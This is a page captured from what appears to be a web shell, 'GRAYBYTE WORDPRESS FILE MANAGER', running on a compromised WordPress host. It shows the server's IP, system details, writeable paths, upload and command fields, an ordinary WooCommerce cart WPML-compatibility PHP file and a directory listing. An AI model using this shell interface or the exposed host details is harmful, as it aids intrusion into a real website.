GRAYBYTE WORDPRESS FILE MANAGER8744

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/nioscentre.in/wp-content/plugins/cart-for-woocommerce/compatibilities/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/nioscentre.in/wp-content/plugins/cart-for-woocommerce/compatibilities//wpml.php
<?php

namespace FKCart\Compatibilities;
if ( ! class_exists( '\FKCart\Compatibilities\Wpml' ) ) {
	class Wpml {
		public function __construct() {
			add_action( 'woocommerce_checkout_update_order_review', [ $this, 'update_reward' ] );
			add_filter( 'fkcart_gift_products', [ $this, 'map_gift_products' ] );
			add_filter( 'fkcart_default_upsells', [ $this, 'map_products' ] );
		}

		public function map_gift_products( $gifts ) {
			$gifts['add']    = array_map( [ $this, 'wpml_map_product' ], $gifts['add'] );
			$gifts['remove'] = array_map( [ $this, 'wpml_map_product' ], $gifts['remove'] );

			return $gifts;
		}

		public function map_products( $products ) {
			if ( empty( $products ) ) {
				return $products;
			}

			return array_map( [ $this, 'wpml_map_product' ], $products );
		}

		public function wpml_map_product( $product_id ) {

			if ( ! class_exists( '\WPML_TM_Records' ) ) {
				return $product_id;
			}

			global $wpdb, $wpml_post_translations, $wpml_term_translations;
			$tm_records = new \WPML_TM_Records( $wpdb, $wpml_post_translations, $wpml_term_translations );

			try {
				$translations = $tm_records->icl_translations_by_element_id_and_type_prefix( $product_id, 'post_product' );
				if ( $translations->language_code() !== ICL_LANGUAGE_CODE ) {
					$element_id = $tm_records->icl_translations_by_trid_and_lang( $translations->trid(), ICL_LANGUAGE_CODE )->element_id();
					$product_id = empty( $element_id ) ? $product_id : $element_id;
				}
			} catch ( \Exception $e ) {
			}


			return $product_id;
		}


		public function is_enable() {
			return class_exists( '\SitePress' );
		}

		public function update_reward() {
			if ( ! class_exists( '\FKCart\Pro\Rewards' ) ) {
				return;
			}
			\FKCart\Pro\Rewards::getInstance()->update_reward();
		}

		/**
		 * Return current language code from WPML
		 * @return string
		 */
		public function get_language_code() {
			return defined( 'ICL_LANGUAGE_CODE' ) ? ICL_LANGUAGE_CODE : '';
		}
	}

	Compatibility::register( new Wpml(), 'wpml' );
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 11 2025 08:33:18
giriqfky / giriqfky
0755
plugins
--
July 11 2025 08:33:18
giriqfky / giriqfky
0755
adp.php
0.874 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
aelia.php
2.675 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
allproductsubscriptions.php
1.672 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
astra.php
1.236 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
booster.php
0.66 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
bump.php
0.543 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
chained.php
0.641 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
checkoutpluginstripe.php
1.176 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
compatibility.php
7.48 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
flexibleshipping.php
1.277 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
freeshipping.php
0.536 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
funnelkitcheckout.php
1.396 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
funnelkitstripe.php
2.501 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
germanized.php
1.893 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
index.php
0.027 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
klarna.php
0.956 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
litespeed.php
0.748 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
paymentpluginbraintree.php
0.609 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
paymentpluginstripe.php
0.579 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
paypalpayments.php
1.524 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
polylang.php
1.399 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
pricebasedcountry.php
0.981 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
pricebyquantity.php
1.712 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
rightpresspricinganddiscount.php
0.602 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
shoptimizer.php
0.663 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
smartcoupons.php
1.13 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
supportSelectOptions.php
1.811 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
tablerate.php
1 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
translatepress.php
0.472 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
wcrewardpoints.php
0.918 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
wcstripe.php
0.731 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
weglot.php
0.441 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
wooProductBundle.php
0.65 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
woocommerce-product-bundles.php
3.42 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
woocommerceSubscriptionByWC.php
1.203 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
woocs.php
0.656 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
woomulticurrency.php
1.083 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
wpfactoryminmaxamount.php
1.581 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
wpml-multicurrency.php
1.22 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
wpml.php
1.984 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
yaycurrency.php
0.83 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
yithbundle.php
1.32 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
yithgiftcard.php
0.809 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644
yithminmaxqty.php
0.965 KB
July 10 2025 16:47:16
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF